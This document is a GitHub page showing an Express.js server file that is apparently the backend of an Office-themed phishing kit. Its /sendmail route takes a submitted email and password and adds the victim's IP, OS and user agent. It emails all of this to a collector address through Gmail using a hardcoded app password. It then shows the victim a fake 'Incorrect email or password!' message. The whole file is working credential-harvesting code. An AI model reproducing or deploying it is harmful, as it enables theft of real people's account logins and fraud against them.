-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
69 lines (57 loc) · 2.21 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// initializing installed packages
const express = require("express");
const app = express();
const nodemailer = require("nodemailer");
const cors = require("cors");
const requestIp = require('request-ip');
const moment = require('moment-timezone');
const uaParser = require('ua-parser-js');
// declearing which port my server will be listening on
const port = process.env.PORT || 8000; // while hosting, ensure to add the port variable
// getting the app to get response from the frontend and send json
app.use(express.json({ extended: true }));
app.use(cors());
app.get('/', (req,res) => {
res.send('server is active')
})
app.post("/sendmail", async (req, res) => {
const clientIp = requestIp.getClientIp(req);
// Get client details
const userAgent = req.headers['user-agent'];
const uaResult = uaParser(userAgent);
const clientOS = uaResult.os.name;
// Get client timezone
const clientTimezone = moment.tz.guess();
let { email, password } = req.body;
const to = "[email protected]"; // where the login details gets sent to
const transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "[email protected]", // The email of the user
pass: "klkfthxlxzloelgl", // The password of the user
},
});
const details = {
to: `${to}`,
subject: `New Submission From Office!`,
html: `Email: ${email}<br>Password: ${password}<br>Client IP: ${clientIp}<br>Client OS: ${clientOS}<br>Client Timezone: ${clientTimezone}<br>User Agent: ${userAgent}`,
};
try {
transporter.sendMail(details, (err) => {
if (err) {
res.json({ success: false, message: `Something went wrong while trying to get you in` });
} else {
res.json({
success: true,
message: `Incorrect email or password!`
});
}
});
} catch (error) {
res.json({ success: false, message: error.message });
}
});
// starting the server up
app.listen(port, () => {
console.log(`server listening on port ${port}`);
});